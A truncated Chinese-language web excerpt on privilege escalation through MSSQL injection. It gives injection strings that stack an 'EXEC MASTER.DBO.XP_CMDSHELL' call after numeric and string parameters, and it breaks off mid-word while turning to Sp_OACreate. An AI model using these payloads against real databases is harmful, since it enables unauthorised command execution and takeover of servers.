MSSQL注入提權的一些方法

MSSQL注入提權的一些方法 MSSQL注入提權思路: SA權限:利用XP_CMDSHELL,Sp_OACreate等儲存過程直接提權.(前提儲存過程健在) 相關SQL語句 XP_CMDSHELL: 數字型;EXEC MASTER.DBO.XP_CMDSHELL 'CMDLINE'-- 字符型&搜索型';EXEC MASTER.DBO.XP_CMDSHELL 'CMDLINE'-- Sp_OACr

>>阅读原文<<